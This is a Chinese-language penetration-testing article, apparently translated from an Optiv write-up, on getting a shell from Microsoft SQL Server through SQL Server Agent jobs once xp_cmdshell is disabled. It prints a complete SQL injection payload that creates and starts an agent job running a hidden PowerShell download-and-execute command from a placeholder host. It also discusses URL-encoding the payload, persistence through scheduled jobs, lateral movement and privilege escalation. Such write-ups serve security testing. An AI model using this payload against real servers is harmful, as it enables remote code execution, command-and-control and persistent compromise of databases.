若是MSSQL數據庫中開啓了MSSQL Server Agent Job服務的話,攻擊者將能夠利用MSSQL Server中自帶的功能來獲取一個shell。web
SQL Server Agent是一個Windows服務,它能夠用來執行自動化任務。shell
利用MSSQL Server中的本地功能來在Windows操做系統中執行任意命令。在整個測試過程當中,xp_cmdshell存儲過程已被禁用了,而且限制了建立自定義存儲過程的能力。數據庫
當xp_cmdshell擴展存儲過程在攻擊中被使用時,大多數安全監控或檢測系統都會產生警報。而攻擊者和滲透測試人員對xp_cmdshell的濫用已經致使不少組織和企業開始禁用或限制xp_cmdshell了。安全
可利用MSSQL Server代理來在目標數據庫服務器中執行任意控制命令。可是,目標服務器必須知足一下幾個條件:服務器
兩個能夠利用的MSSQL代理做業子系統:CmdExec和PowerShell子系統,這兩個功能能夠分別用來執行操做系統命令和PowerShell腳本。測試
可使用SQL注入點來建立並執行代理任務。任務所需執行的命令是一段PowerShell代碼,這段代碼可讓目標系統與一個受Optiv控制的IP地址進行通訊鏈接,而後下載額外的PowerShell指令。這樣一來,就能夠在目標數據庫服務器與Optiv控制的服務器之間創建一條可交互的命令控制會話了。編碼
下面這張代碼截圖顯示的是已被拆分的SQL語句。在下面這段下載命令中,URI位於兩個單引號之間,而不是以前的雙引號。這樣作是爲了在SQL語句中轉義單引號。操作系統
USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';
以下圖所示,SQL語句已經進行了URL編碼處理。在這個攻擊示例中,攻擊是經過HTTP GET請求來發送的,所以咱們須要對攻擊payload進行URL編碼。代理
能夠看到咱們在HTTP GET請求的參數中添加了SQL注入payload,這樣咱們就可使用SQL注入了。(請注意在payload的開頭處添加的%20(空格符))code
當payload運行以後,咱們就能夠看到命令控制會話已經創建成功了,而且使用的是「SQLSERVERAGENT」帳號的權限。
在目標主機的SQL Server中,咱們能夠看到SQL代理做業已經建立成功了。
若是目標主機運行了MSSQL代理服務,而且代理服務使用的用戶帳號能夠訪問其餘的MSSQL Server的話,那麼就能夠利用這種攻擊來在其餘的MSSQL Server中執行MSSQL Server代理做業了。除此以外,還能夠設置定時代理做業,這也就意味着,不只能夠利用這種方式來躲避安全檢測,並且還能夠實現對目標MSSQL Server的持久化控制。
在某些狀況下,若是MSSQL Server代理服務使用的是權限更高的用戶帳號,那麼就能夠經過這種攻擊來實現提權。